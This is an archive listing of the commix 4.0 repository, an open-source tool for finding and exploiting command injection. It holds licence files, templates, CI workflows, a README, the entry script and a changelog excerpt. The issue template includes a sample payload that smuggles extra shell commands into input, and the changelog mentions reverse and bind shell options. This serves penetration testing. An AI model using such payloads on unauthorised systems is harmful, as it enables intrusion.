pax_global_header 0000666 0000000 0000000 00000000064 14731205621 0014513 g ustar 00root root 0000000 0000000 52 comment=13d51481cb3998fbf9247743217bcc6c5fd2da86
commix-4.0/ 0000775 0000000 0000000 00000000000 14731205621 0012652 5 ustar 00root root 0000000 0000000 commix-4.0/.github/ 0000775 0000000 0000000 00000000000 14731205621 0014212 5 ustar 00root root 0000000 0000000 commix-4.0/.github/CODE_OF_CONDUCT.md 0000664 0000000 0000000 00000006222 14731205621 0017013 0 ustar 00root root 0000000 0000000 # Contributor Covenant Code of Conduct
## Our Pledge
In the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to making participation in our project and our community a harassment-free experience for everyone, regardless of age, body size, disability, ethnicity, gender identity and expression, level of experience, nationality, personal appearance, race, religion, or sexual identity and orientation.
## Our Standards
Examples of behavior that contributes to creating a positive environment include:
* Using welcoming and inclusive language
* Being respectful of differing viewpoints and experiences
* Gracefully accepting constructive criticism
* Focusing on what is best for the community
* Showing empathy towards other community members
Examples of unacceptable behavior by participants include:
* The use of sexualized language or imagery and unwelcome sexual attention or advances
* Trolling, insulting/derogatory comments, and personal or political attacks
* Public or private harassment
* Publishing others' private information, such as a physical or electronic address, without explicit permission
* Other conduct which could reasonably be considered inappropriate in a professional setting
## Our Responsibilities
Project maintainers are responsible for clarifying the standards of acceptable behavior and are expected to take appropriate and fair corrective action in response to any instances of unacceptable behavior.
Project maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, or to ban temporarily or permanently any contributor for other behaviors that they deem inappropriate, threatening, offensive, or harmful.
## Scope
This Code of Conduct applies both within project spaces and in public spaces when an individual is representing the project or its community. Examples of representing a project or community include using an official project e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. Representation of a project may be further defined and clarified by project maintainers.
## Enforcement
Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting the project team at dev@commixproject.com. The project team will review and investigate all complaints, and will respond in a way that it deems appropriate to the circumstances. The project team is obligated to maintain confidentiality with regard to the reporter of an incident. Further details of specific enforcement policies may be posted separately.
Project maintainers who do not follow or enforce the Code of Conduct in good faith may face temporary or permanent repercussions as determined by other members of the project's leadership.
## Attribution
This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, available at [http://contributor-covenant.org/version/1/4][version]
[homepage]: http://contributor-covenant.org
[version]: http://contributor-covenant.org/version/1/4/
commix-4.0/.github/FUNDING.yml 0000664 0000000 0000000 00000000107 14731205621 0016025 0 ustar 00root root 0000000 0000000 custom: 'https://www.paypal.com/donate?hosted_button_id=UGBDUDJRW8U4E'
commix-4.0/.github/ISSUE_TEMPLATE.md 0000664 0000000 0000000 00000002324 14731205621 0016720 0 ustar 00root root 0000000 0000000 ## What's the problem (or question)?
## Do you have an idea for a solution?
## How can we reproduce the issue?
1.
2.
3.
4.
## What are the running context details?
* Installation method (e.g. `apt-get`, `git clone` or `zip`/`tar.gz`):
* Client OS (e.g. `Linux (Ubuntu)`)
* Program version (`python commix.py --version` or `commix --version` depending on installation):
* Target OS (e.g. `Linux (Debian)`):
* Command injection techniques found by commix (e.g. `classic (results-based)` and `time-based (blind)`):
* Results of manual target assessment (e.g. found that the payload `;echo \`id\`||echo $(whoami)` works):
* Relevant console output (if any):
* Exception traceback (if any):
commix-4.0/.github/workflows/ 0000775 0000000 0000000 00000000000 14731205621 0016247 5 ustar 00root root 0000000 0000000 commix-4.0/.github/workflows/builds.yml 0000664 0000000 0000000 00000001106 14731205621 0020252 0 ustar 00root root 0000000 0000000 on:
push:
branches: [ master ]
pull_request:
branches: [ master ]
jobs:
build:
runs-on: ${{ matrix.os }}
strategy:
matrix:
os: [ubuntu-latest, macos-latest, windows-latest]
python-version: [ 'pypy-2.7', '3.12' ]
steps:
- uses: actions/checkout@v2
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: ${{ matrix.python-version }}
- name: Basic import test
run: python -c "import commix"
- name: Basic smoke test
run: python commix.py --smoke-test
commix-4.0/.github/workflows/lockbot.yml 0000664 0000000 0000000 00000001602 14731205621 0020426 0 ustar 00root root 0000000 0000000 name: 'LockBot'
on:
schedule:
- cron: '0 0 * * *'
permissions:
issues: write
jobs:
action:
runs-on: ubuntu-latest
steps:
- uses: dessant/lock-threads@v2
with:
issue-lock-inactive-days: '30'
issue-lock-comment: >
This issue has been automatically locked due to inactivity.
Please file a new issue if you are encountering a similar or related problem.
_This action has been performed automatically by a bot._
issue-lock-reason: ''
pr-lock-inactive-days: 30
pr-lock-comment: >
This PR has been automatically locked due to inactivity.
Please file a new issue if you are encountering a similar or related problem.
_This action has been performed automatically by a bot._
pr-lock-reason: ''
commix-4.0/.gitignore 0000664 0000000 0000000 00000000037 14731205621 0014642 0 ustar 00root root 0000000 0000000 *.py[cod]
.output/*
.gitignore
commix-4.0/COMMITMENT.txt 0000664 0000000 0000000 00000004054 14731205621 0015072 0 ustar 00root root 0000000 0000000 GPL Cooperation Commitment
Version 1.0
Before filing or continuing to prosecute any legal proceeding or claim
(other than a Defensive Action) arising from termination of a Covered
License, we commit to extend to the person or entity ('you') accused
of violating the Covered License the following provisions regarding
cure and reinstatement, taken from GPL version 3. As used here, the
term 'this License' refers to the specific Covered License being
enforced.
However, if you cease all violation of this License, then your
license from a particular copyright holder is reinstated (a)
provisionally, unless and until the copyright holder explicitly
and finally terminates your license, and (b) permanently, if the
copyright holder fails to notify you of the violation by some
reasonable means prior to 60 days after the cessation.
Moreover, your license from a particular copyright holder is
reinstated permanently if the copyright holder notifies you of the
violation by some reasonable means, this is the first time you
have received notice of violation of this License (for any work)
from that copyright holder, and you cure the violation prior to 30
days after your receipt of the notice.
We intend this Commitment to be irrevocable, and binding and
enforceable against us and assignees of or successors to our
copyrights.
Definitions
'Covered License' means the GNU General Public License, version 2
(GPLv2), the GNU Lesser General Public License, version 2.1
(LGPLv2.1), or the GNU Library General Public License, version 2
(LGPLv2), all as published by the Free Software Foundation.
'Defensive Action' means a legal proceeding or claim that We bring
against you in response to a prior proceeding or claim initiated by
you or your affiliate.
'We' means each contributor to this repository as of the date of
inclusion of this file, including subsidiaries of a corporate
contributor.
This work is available under a Creative Commons Attribution-ShareAlike
4.0 International license (https://creativecommons.org/licenses/by-sa/4.0/).
commix-4.0/LICENSE.txt 0000664 0000000 0000000 00000100667 14731205621 0014507 0 ustar 00root root 0000000 0000000 Copyright (c) 2014-2024 Anastasios Stasinopoulos
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see .
************************************************************************
GNU GENERAL PUBLIC LICENSE
Version 3, 29 June 2007
Copyright (C) 2007 Free Software Foundation, Inc.
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
The GNU General Public License is a free, copyleft license for
software and other kinds of works.
The licenses for most software and other practical works are designed
to take away your freedom to share and change the works. By contrast,
the GNU General Public License is intended to guarantee your freedom to
share and change all versions of a program--to make sure it remains free
software for all its users. We, the Free Software Foundation, use the
GNU General Public License for most of our software; it applies also to
any other work released this way by its authors. You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
them if you wish), that you receive source code or can get it if you
want it, that you can change the software or use pieces of it in new
free programs, and that you know you can do these things.
To protect your rights, we need to prevent others from denying you
these rights or asking you to surrender the rights. Therefore, you have
certain responsibilities if you distribute copies of the software, or if
you modify it: responsibilities to respect the freedom of others.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must pass on to the recipients the same
freedoms that you received. You must make sure that they, too, receive
or can get the source code. And you must show them these terms so they
know their rights.
Developers that use the GNU GPL protect your rights with two steps:
(1) assert copyright on the software, and (2) offer you this License
giving you legal permission to copy, distribute and/or modify it.
For the developers' and authors' protection, the GPL clearly explains
that there is no warranty for this free software. For both users' and
authors' sake, the GPL requires that modified versions be marked as
changed, so that their problems will not be attributed erroneously to
authors of previous versions.
Some devices are designed to deny users access to install or run
modified versions of the software inside them, although the manufacturer
can do so. This is fundamentally incompatible with the aim of
protecting users' freedom to change the software. The systematic
pattern of such abuse occurs in the area of products for individuals to
use, which is precisely where it is most unacceptable. Therefore, we
have designed this version of the GPL to prohibit the practice for those
products. If such problems arise substantially in other domains, we
stand ready to extend this provision to those domains in future versions
of the GPL, as needed to protect the freedom of users.
Finally, every program is threatened constantly by software patents.
States should not allow patents to restrict development and use of
software on general-purpose computers, but in those that do, we wish to
avoid the special danger that patents applied to a free program could
make it effectively proprietary. To prevent this, the GPL assures that
patents cannot be used to render the program non-free.
The precise terms and conditions for copying, distribution and
modification follow.
TERMS AND CONDITIONS
0. Definitions.
"This License" refers to version 3 of the GNU General Public License.
"Copyright" also means copyright-like laws that apply to other kinds of
works, such as semiconductor masks.
"The Program" refers to any copyrightable work licensed under this
License. Each licensee is addressed as "you". "Licensees" and
"recipients" may be individuals or organizations.
To "modify" a work means to copy from or adapt all or part of the work
in a fashion requiring copyright permission, other than the making of an
exact copy. The resulting work is called a "modified version" of the
earlier work or a work "based on" the earlier work.
A "covered work" means either the unmodified Program or a work based
on the Program.
To "propagate" a work means to do anything with it that, without
permission, would make you directly or secondarily liable for
infringement under applicable copyright law, except executing it on a
computer or modifying a private copy. Propagation includes copying,
distribution (with or without modification), making available to the
public, and in some countries other activities as well.
To "convey" a work means any kind of propagation that enables other
parties to make or receive copies. Mere interaction with a user through
a computer network, with no transfer of a copy, is not conveying.
An interactive user interface displays "Appropriate Legal Notices"
to the extent that it includes a convenient and prominently visible
feature that (1) displays an appropriate copyright notice, and (2)
tells the user that there is no warranty for the work (except to the
extent that warranties are provided), that licensees may convey the
work under this License, and how to view a copy of this License. If
the interface presents a list of user commands or options, such as a
menu, a prominent item in the list meets this criterion.
1. Source Code.
The "source code" for a work means the preferred form of the work
for making modifications to it. "Object code" means any non-source
form of a work.
A "Standard Interface" means an interface that either is an official
standard defined by a recognized standards body, or, in the case of
interfaces specified for a particular programming language, one that
is widely used among developers working in that language.
The "System Libraries" of an executable work include anything, other
than the work as a whole, that (a) is included in the normal form of
packaging a Major Component, but which is not part of that Major
Component, and (b) serves only to enable use of the work with that
Major Component, or to implement a Standard Interface for which an
implementation is available to the public in source code form. A
"Major Component", in this context, means a major essential component
(kernel, window system, and so on) of the specific operating system
(if any) on which the executable work runs, or a compiler used to
produce the work, or an object code interpreter used to run it.
The "Corresponding Source" for a work in object code form means all
the source code needed to generate, install, and (for an executable
work) run the object code and to modify the work, including scripts to
control those activities. However, it does not include the work's
System Libraries, or general-purpose tools or generally available free
programs which are used unmodified in performing those activities but
which are not part of the work. For example, Corresponding Source
includes interface definition files associated with source files for
the work, and the source code for shared libraries and dynamically
linked subprograms that the work is specifically designed to require,
such as by intimate data communication or control flow between those
subprograms and other parts of the work.
The Corresponding Source need not include anything that users
can regenerate automatically from other parts of the Corresponding
Source.
The Corresponding Source for a work in source code form is that
same work.
2. Basic Permissions.
All rights granted under this License are granted for the term of
copyright on the Program, and are irrevocable provided the stated
conditions are met. This License explicitly affirms your unlimited
permission to run the unmodified Program. The output from running a
covered work is covered by this License only if the output, given its
content, constitutes a covered work. This License acknowledges your
rights of fair use or other equivalent, as provided by copyright law.
You may make, run and propagate covered works that you do not
convey, without conditions so long as your license otherwise remains
in force. You may convey covered works to others for the sole purpose
of having them make modifications exclusively for you, or provide you
with facilities for running those works, provided that you comply with
the terms of this License in conveying all material for which you do
not control copyright. Those thus making or running the covered works
for you must do so exclusively on your behalf, under your direction
and control, on terms that prohibit them from making any copies of
your copyrighted material outside their relationship with you.
Conveying under any other circumstances is permitted solely under
the conditions stated below. Sublicensing is not allowed; section 10
makes it unnecessary.
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
No covered work shall be deemed part of an effective technological
measure under any applicable law fulfilling obligations under article
11 of the WIPO copyright treaty adopted on 20 December 1996, or
similar laws prohibiting or restricting circumvention of such
measures.
When you convey a covered work, you waive any legal power to forbid
circumvention of technological measures to the extent such circumvention
is effected by exercising rights under this License with respect to
the covered work, and you disclaim any intention to limit operation or
modification of the work as a means of enforcing, against the work's
users, your or third parties' legal rights to forbid circumvention of
technological measures.
4. Conveying Verbatim Copies.
You may convey verbatim copies of the Program's source code as you
receive it, in any medium, provided that you conspicuously and
appropriately publish on each copy an appropriate copyright notice;
keep intact all notices stating that this License and any
non-permissive terms added in accord with section 7 apply to the code;
keep intact all notices of the absence of any warranty; and give all
recipients a copy of this License along with the Program.
You may charge any price or no price for each copy that you convey,
and you may offer support or warranty protection for a fee.
5. Conveying Modified Source Versions.
You may convey a work based on the Program, or the modifications to
produce it from the Program, in the form of source code under the
terms of section 4, provided that you also meet all of these conditions:
a) The work must carry prominent notices stating that you modified
it, and giving a relevant date.
b) The work must carry prominent notices stating that it is
released under this License and any conditions added under section
7. This requirement modifies the requirement in section 4 to
"keep intact all notices".
c) You must license the entire work, as a whole, under this
License to anyone who comes into possession of a copy. This
License will therefore apply, along with any applicable section 7
additional terms, to the whole of the work, and all its parts,
regardless of how they are packaged. This License gives no
permission to license the work in any other way, but it does not
invalidate such permission if you have separately received it.
d) If the work has interactive user interfaces, each must display
Appropriate Legal Notices; however, if the Program has interactive
interfaces that do not display Appropriate Legal Notices, your
work need not make them do so.
A compilation of a covered work with other separate and independent
works, which are not by their nature extensions of the covered work,
and which are not combined with it such as to form a larger program,
in or on a volume of a storage or distribution medium, is called an
"aggregate" if the compilation and its resulting copyright are not
used to limit the access or legal rights of the compilation's users
beyond what the individual works permit. Inclusion of a covered work
in an aggregate does not cause this License to apply to the other
parts of the aggregate.
6. Conveying Non-Source Forms.
You may convey a covered work in object code form under the terms
of sections 4 and 5, provided that you also convey the
machine-readable Corresponding Source under the terms of this License,
in one of these ways:
a) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by the
Corresponding Source fixed on a durable physical medium
customarily used for software interchange.
b) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by a
written offer, valid for at least three years and valid for as
long as you offer spare parts or customer support for that product
model, to give anyone who possesses the object code either (1) a
copy of the Corresponding Source for all the software in the
product that is covered by this License, on a durable physical
medium customarily used for software interchange, for a price no
more than your reasonable cost of physically performing this
conveying of source, or (2) access to copy the
Corresponding Source from a network server at no charge.
c) Convey individual copies of the object code with a copy of the
written offer to provide the Corresponding Source. This
alternative is allowed only occasionally and noncommercially, and
only if you received the object code with such an offer, in accord
with subsection 6b.
d) Convey the object code by offering access from a designated
place (gratis or for a charge), and offer equivalent access to the
Corresponding Source in the same way through the same place at no
further charge. You need not require recipients to copy the
Corresponding Source along with the object code. If the place to
copy the object code is a network server, the Corresponding Source
may be on a different server (operated by you or a third party)
that supports equivalent copying facilities, provided you maintain
clear directions next to the object code saying where to find the
Corresponding Source. Regardless of what server hosts the
Corresponding Source, you remain obligated to ensure that it is
available for as long as needed to satisfy these requirements.
e) Convey the object code using peer-to-peer transmission, provided
you inform other peers where the object code and Corresponding
Source of the work are being offered to the general public at no
charge under subsection 6d.
A separable portion of the object code, whose source code is excluded
from the Corresponding Source as a System Library, need not be
included in conveying the object code work.
A "User Product" is either (1) a "consumer product", which means any
tangible personal property which is normally used for personal, family,
or household purposes, or (2) anything designed or sold for incorporation
into a dwelling. In determining whether a product is a consumer product,
doubtful cases shall be resolved in favor of coverage. For a particular
product received by a particular user, "normally used" refers to a
typical or common use of that class of product, regardless of the status
of the particular user or of the way in which the particular user
actually uses, or expects or is expected to use, the product. A product
is a consumer product regardless of whether the product has substantial
commercial, industrial or non-consumer uses, unless such uses represent
the only significant mode of use of the product.
"Installation Information" for a User Product means any methods,
procedures, authorization keys, or other information required to install
and execute modified versions of a covered work in that User Product from
a modified version of its Corresponding Source. The information must
suffice to ensure that the continued functioning of the modified object
code is in no case prevented or interfered with solely because
modification has been made.
If you convey an object code work under this section in, or with, or
specifically for use in, a User Product, and the conveying occurs as
part of a transaction in which the right of possession and use of the
User Product is transferred to the recipient in perpetuity or for a
fixed term (regardless of how the transaction is characterized), the
Corresponding Source conveyed under this section must be accompanied
by the Installation Information. But this requirement does not apply
if neither you nor any third party retains the ability to install
modified object code on the User Product (for example, the work has
been installed in ROM).
The requirement to provide Installation Information does not include a
requirement to continue to provide support service, warranty, or updates
for a work that has been modified or installed by the recipient, or for
the User Product in which it has been modified or installed. Access to a
network may be denied when the modification itself materially and
adversely affects the operation of the network or violates the rules and
protocols for communication across the network.
Corresponding Source conveyed, and Installation Information provided,
in accord with this section must be in a format that is publicly
documented (and with an implementation available to the public in
source code form), and must require no special password or key for
unpacking, reading or copying.
7. Additional Terms.
"Additional permissions" are terms that supplement the terms of this
License by making exceptions from one or more of its conditions.
Additional permissions that are applicable to the entire Program shall
be treated as though they were included in this License, to the extent
that they are valid under applicable law. If additional permissions
apply only to part of the Program, that part may be used separately
under those permissions, but the entire Program remains governed by
this License without regard to the additional permissions.
When you convey a copy of a covered work, you may at your option
remove any additional permissions from that copy, or from any part of
it. (Additional permissions may be written to require their own
removal in certain cases when you modify the work.) You may place
additional permissions on material, added by you to a covered work,
for which you have or can give appropriate copyright permission.
Notwithstanding any other provision of this License, for material you
add to a covered work, you may (if authorized by the copyright holders of
that material) supplement the terms of this License with terms:
a) Disclaiming warranty or limiting liability differently from the
terms of sections 15 and 16 of this License; or
b) Requiring preservation of specified reasonable legal notices or
author attributions in that material or in the Appropriate Legal
Notices displayed by works containing it; or
c) Prohibiting misrepresentation of the origin of that material, or
requiring that modified versions of such material be marked in
reasonable ways as different from the original version; or
d) Limiting the use for publicity purposes of names of licensors or
authors of the material; or
e) Declining to grant rights under trademark law for use of some
trade names, trademarks, or service marks; or
f) Requiring indemnification of licensors and authors of that
material by anyone who conveys the material (or modified versions of
it) with contractual assumptions of liability to the recipient, for
any liability that these contractual assumptions directly impose on
those licensors and authors.
All other non-permissive additional terms are considered "further
restrictions" within the meaning of section 10. If the Program as you
received it, or any part of it, contains a notice stating that it is
governed by this License along with a term that is a further
restriction, you may remove that term. If a license document contains
a further restriction but permits relicensing or conveying under this
License, you may add to a covered work material governed by the terms
of that license document, provided that the further restriction does
not survive such relicensing or conveying.
If you add terms to a covered work in accord with this section, you
must place, in the relevant source files, a statement of the
additional terms that apply to those files, or a notice indicating
where to find the applicable terms.
Additional terms, permissive or non-permissive, may be stated in the
form of a separately written license, or stated as exceptions;
the above requirements apply either way.
8. Termination.
You may not propagate or modify a covered work except as expressly
provided under this License. Any attempt otherwise to propagate or
modify it is void, and will automatically terminate your rights under
this License (including any patent licenses granted under the third
paragraph of section 11).
However, if you cease all violation of this License, then your
license from a particular copyright holder is reinstated (a)
provisionally, unless and until the copyright holder explicitly and
finally terminates your license, and (b) permanently, if the copyright
holder fails to notify you of the violation by some reasonable means
prior to 60 days after the cessation.
Moreover, your license from a particular copyright holder is
reinstated permanently if the copyright holder notifies you of the
violation by some reasonable means, this is the first time you have
received notice of violation of this License (for any work) from that
copyright holder, and you cure the violation prior to 30 days after
your receipt of the notice.
Termination of your rights under this section does not terminate the
licenses of parties who have received copies or rights from you under
this License. If your rights have been terminated and not permanently
reinstated, you do not qualify to receive new licenses for the same
material under section 10.
9. Acceptance Not Required for Having Copies.
You are not required to accept this License in order to receive or
run a copy of the Program. Ancillary propagation of a covered work
occurring solely as a consequence of using peer-to-peer transmission
to receive a copy likewise does not require acceptance. However,
nothing other than this License grants you permission to propagate or
modify any covered work. These actions infringe copyright if you do
not accept this License. Therefore, by modifying or propagating a
covered work, you indicate your acceptance of this License to do so.
10. Automatic Licensing of Downstream Recipients.
Each time you convey a covered work, the recipient automatically
receives a license from the original licensors, to run, modify and
propagate that work, subject to this License. You are not responsible
for enforcing compliance by third parties with this License.
An "entity transaction" is a transaction transferring control of an
organization, or substantially all assets of one, or subdividing an
organization, or merging organizations. If propagation of a covered
work results from an entity transaction, each party to that
transaction who receives a copy of the work also receives whatever
licenses to the work the party's predecessor in interest had or could
give under the previous paragraph, plus a right to possession of the
Corresponding Source of the work from the predecessor in interest, if
the predecessor has it or can get it with reasonable efforts.
You may not impose any further restrictions on the exercise of the
rights granted or affirmed under this License. For example, you may
not impose a license fee, royalty, or other charge for exercise of
rights granted under this License, and you may not initiate litigation
(including a cross-claim or counterclaim in a lawsuit) alleging that
any patent claim is infringed by making, using, selling, offering for
sale, or importing the Program or any portion of it.
11. Patents.
A "contributor" is a copyright holder who authorizes use under this
License of the Program or a work on which the Program is based. The
work thus licensed is called the contributor's "contributor version".
A contributor's "essential patent claims" are all patent claims
owned or controlled by the contributor, whether already acquired or
hereafter acquired, that would be infringed by some manner, permitted
by this License, of making, using, or selling its contributor version,
but do not include claims that would be infringed only as a
consequence of further modification of the contributor version. For
purposes of this definition, "control" includes the right to grant
patent sublicenses in a manner consistent with the requirements of
this License.
Each contributor grants you a non-exclusive, worldwide, royalty-free
patent license under the contributor's essential patent claims, to
make, use, sell, offer for sale, import and otherwise run, modify and
propagate the contents of its contributor version.
In the following three paragraphs, a "patent license" is any express
agreement or commitment, however denominated, not to enforce a patent
(such as an express permission to practice a patent or covenant not to
sue for patent infringement). To "grant" such a patent license to a
party means to make such an agreement or commitment not to enforce a
patent against the party.
If you convey a covered work, knowingly relying on a patent license,
and the Corresponding Source of the work is not available for anyone
to copy, free of charge and under the terms of this License, through a
publicly available network server or other readily accessible means,
then you must either (1) cause the Corresponding Source to be so
available, or (2) arrange to deprive yourself of the benefit of the
patent license for this particular work, or (3) arrange, in a manner
consistent with the requirements of this License, to extend the patent
license to downstream recipients. "Knowingly relying" means you have
actual knowledge that, but for the patent license, your conveying the
covered work in a country, or your recipient's use of the covered work
in a country, would infringe one or more identifiable patents in that
country that you have reason to believe are valid.
If, pursuant to or in connection with a single transaction or
arrangement, you convey, or propagate by procuring conveyance of, a
covered work, and grant a patent license to some of the parties
receiving the covered work authorizing them to use, propagate, modify
or convey a specific copy of the covered work, then the patent license
you grant is automatically extended to all recipients of the covered
work and works based on it.
A patent license is "discriminatory" if it does not include within
the scope of its coverage, prohibits the exercise of, or is
conditioned on the non-exercise of one or more of the rights that are
specifically granted under this License. You may not convey a covered
work if you are a party to an arrangement with a third party that is
in the business of distributing software, under which you make payment
to the third party based on the extent of your activity of conveying
the work, and under which the third party grants, to any of the
parties who would receive the covered work from you, a discriminatory
patent license (a) in connection with copies of the covered work
conveyed by you (or copies made from those copies), or (b) primarily
for and in connection with specific products or compilations that
contain the covered work, unless you entered into that arrangement,
or that patent license was granted, prior to 28 March 2007.
Nothing in this License shall be construed as excluding or limiting
any implied license or other defenses to infringement that may
otherwise be available to you under applicable patent law.
12. No Surrender of Others' Freedom.
If conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot convey a
covered work so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you may
not convey it at all. For example, if you agree to terms that obligate you
to collect a royalty for further conveying from those to whom you convey
the Program, the only way you could satisfy both those terms and this
License would be to refrain entirely from conveying the Program.
13. Use with the GNU Affero General Public License.
Notwithstanding any other provision of this License, you have
permission to link or combine any covered work with a work licensed
under version 3 of the GNU Affero General Public License into a single
combined work, and to convey the resulting work. The terms of this
License will continue to apply to the part which is the covered work,
but the special requirements of the GNU Affero General Public License,
section 13, concerning interaction through a network will apply to the
combination as such.
14. Revised Versions of this License.
The Free Software Foundation may publish revised and/or new versions of
the GNU General Public License from time to time. Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the
Program specifies that a certain numbered version of the GNU General
Public License "or any later version" applies to it, you have the
option of following the terms and conditions either of that numbered
version or of any later version published by the Free Software
Foundation. If the Program does not specify a version number of the
GNU General Public License, you may choose any version ever published
by the Free Software Foundation.
If the Program specifies that a proxy can decide which future
versions of the GNU General Public License can be used, that proxy's
public statement of acceptance of a version permanently authorizes you
to choose that version for the Program.
Later license versions may give you additional or different
permissions. However, no additional obligations are imposed on any
author or copyright holder as a result of your choosing to follow a
later version.
15. Disclaimer of Warranty.
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
16. Limitation of Liability.
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
SUCH DAMAGES.
17. Interpretation of Sections 15 and 16.
If the disclaimer of warranty and limitation of liability provided
above cannot be given local legal effect according to their terms,
reviewing courts shall apply local law that most closely approximates
an absolute waiver of all civil liability in connection with the
Program, unless a warranty or assumption of liability accompanies a
copy of the Program in return for a fee.
END OF TERMS AND CONDITIONS
commix-4.0/README.md 0000664 0000000 0000000 00000005745 14731205621 0014144 0 ustar 00root root 0000000 0000000
**Commix** (short for [**comm**]and [**i**]njection e[**x**]ploiter) is an open source penetration testing tool, written by **[Anastasios Stasinopoulos](https://github.com/stasinopoulos)** (**[@ancst](https://x.com/ancst)**), that automates the detection and exploitation of **[command injection](https://www.owasp.org/index.php/Command_Injection)** vulnerabilities.
You can visit the [collection of screenshots](https://github.com/commixproject/commix/wiki/Screenshots) demonstrating some of the features on the wiki.
## Installation
You can download commix on any platform by cloning the official Git repository :
$ git clone https://github.com/commixproject/commix.git commix
Alternatively, you can download the latest [tarball](https://github.com/commixproject/commix/tarball/master) or [zipball](https://github.com/commixproject/commix/zipball/master).
*__Note:__ **[Python](http://www.python.org/download/)** (version **2.6**, **2.7** or **3.x**) is required for running commix.*
## Usage
To get a list of all options and switches use:
$ python commix.py -h
To get an overview of commix available options, switches and/or basic ideas on how to use commix, check **[usage](https://github.com/commixproject/commix/wiki/Usage)**, **[usage examples](https://github.com/commixproject/commix/wiki/Usage-Examples)** and **[filters bypasses](https://github.com/commixproject/commix/wiki/Filters-Bypasses)** wiki pages.
## Links
* User's manual: https://github.com/commixproject/commix/wiki
* Issues tracker: https://github.com/commixproject/commix/issues
## Translations
* [Farsi(Persian)](https://github.com/commixproject/commix/blob/master/doc/translations/README-fa-FA.md)
* [Greek](https://github.com/commixproject/commix/blob/master/doc/translations/README-gr-GR.md)
* [Indonesian](https://github.com/commixproject/commix/blob/master/doc/translations/README-idn-IDN.md)
* [Turkish](https://github.com/commixproject/commix/blob/master/doc/translations/README-tr-TR.md)
commix-4.0/commix.py 0000775 0000000 0000000 00000002423 14731205621 0014524 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import sys
# Dummy check for missing module(s).
try:
__import__("src.utils.version")
from src.utils import version
version.python_version()
except ImportError as ex:
err_msg = "Wrong installation detected (i.e \"" + str(ex) + "\"). "
err_msg += "Visit 'https://github.com/commixproject/commix/' for further details."
sys.exit(err_msg)
# Main
def main():
import src.core.main
# Main
if __name__ == '__main__':
try:
main()
except SystemExit:
import sys
raise SystemExit()
except KeyboardInterrupt:
import sys
raise SystemExit()
except IndentationError as err_msg:
from src.utils import settings
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
except:
from src.utils import common
common.unhandled_exception()
# eof commix-4.0/doc/ 0000775 0000000 0000000 00000000000 14731205621 0013417 5 ustar 00root root 0000000 0000000 commix-4.0/doc/AUTHOR 0000664 0000000 0000000 00000000075 14731205621 0014346 0 ustar 00root root 0000000 0000000 Anastasios Stasinopoulos
https://stasinopoulos.github.io/
commix-4.0/doc/CHANGELOG.md 0000775 0000000 0000000 00000137142 14731205621 0015243 0 ustar 00root root 0000000 0000000 ## Version 4.0 (2024-12-20)
* Fixed: Multiple bug-fixes regarding several reported unhandled exceptions.
* Revised: Minor bug-fix regarding tamper script "backticks.py"
* Revised: Improvements regarding shell options `reverse_tcp`, `bind_tcp`.
* Revised: Major code refactoring regarding session handler.
* Revised: Minor improvement regarding options `--prefix`, `--suffix`.
* Revised: Improvement regarding writing text to the stdout (console) stream.
